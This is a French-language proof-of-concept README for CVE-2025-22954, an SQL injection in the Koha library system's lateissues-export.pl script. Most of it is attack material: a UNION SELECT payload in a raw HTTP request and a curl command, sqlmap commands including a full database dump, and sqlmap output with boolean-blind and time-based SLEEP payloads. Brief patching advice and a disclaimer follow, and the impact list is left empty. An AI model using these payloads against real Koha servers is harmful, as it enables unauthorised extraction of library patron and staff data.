
Koha CVE-2025-22954: SQL Injection in lateissues-export.pl
Ce dépôt contient une preuve de concept pour CVE-2025-22954, une vulnérabilité d'injection SQL de sévérité critique (CVSS 10.0) dans Koha antérieur à la version 24.11.02. La vulnérabilité existe dans la fonction GetLateOrMissingIssues dans C4/Serials.pm qui est appelée par le script /serials/lateissues-export.pl. La vulnérabilité peut être exploitée via les paramètres supplierid ou serialid.
| ID CVE | CVE-2025-22954 |
|---|---|
| CVSS v3 | 10.0 (Critique) |
| Score EPSS | 0,03% (Top 5,26%) |
| Publié | 12 mars 2025 |
| Corrigé dans | Koha 24.11.02 |
| Référence du bug | Koha Bug #38829 |
| Notes de version | Sortie de Koha 24.11.02 |
La vulnérabilité provient d'un traitement non sécurisé des entrées utilisateur dans les paramètres supplierid et serialid du script lateissues-export.pl qui sont transmis à la fonction GetLateOrMissingIssues dans C4/Serials.pm. La fonction ne nettoie ni ne paramètre correctement ces entrées avant de les utiliser dans des requêtes SQL, permettant des attaques par injection SQL.
Le script vulnérable (lateissues-export.pl) contient le code suivant :
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');
# ...
for my $serialid ( @serialids ) {
my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
# ...
# update claim date to let one know they have looked at this missing item
updateClaim($serialid);
}
La fonction GetLateOrMissingIssues dans C4/Serials.pm contient probablement une construction de requête SQL vulnérable où les paramètres $supplierid et $serialid sont directement concaténés dans des instructions SQL sans paramétrage approprié.
Cette preuve de concept montre comment un utilisateur authentifié ayant accès au module des périodiques peut exploiter cette vulnérabilité pour extraire des données sensibles de la base de données Koha ou potentiellement obtenir un accès non autorisé au système de base de données sous-jacent.
lateissues-export.plLa requête HTTP brute suivante peut être utilisée pour exploiter la vulnérabilité :
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1"
SQLMap peut être utilisé pour automatiser l'exploitation de cette vulnérabilité. Tout d'abord, capturez une requête vers le point d'accès vulnérable avec des cookies d'authentification valides, puis utilisez SQLMap pour exploiter le point d'injection.
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3
Exemple de fichier request.txt :
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
Vous pouvez également exploiter la vulnérabilité directement avec SQLMap :
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
-p supplierid \
--dbms=mysql \
--dump
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:
Cette vulnérabilité permet à un attaquant authentifié de :
Mettez à jour vers Koha version 24.11.02 ou ultérieure qui inclut un correctif pour cette vulnérabilité.
Si une mise à jour immédiate n'est pas possible, envisagez de mettre en œuvre les atténuations temporaires suivantes :
/serials/lateissues-export.pl aux seules adresses IP de confianceC4/Serials.pm pour paramétrer correctement les requêtes SQL dans la fonction GetLateOrMissingIssuesCette preuve de concept est fournie à des fins éducatives et défensives uniquement. Obtenez toujours une autorisation appropriée avant de tester un système pour des vulnérabilités.
L'auteur n'est pas responsable de toute utilisation abusive de ces informations. Cette preuve de concept ne doit être utilisée que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.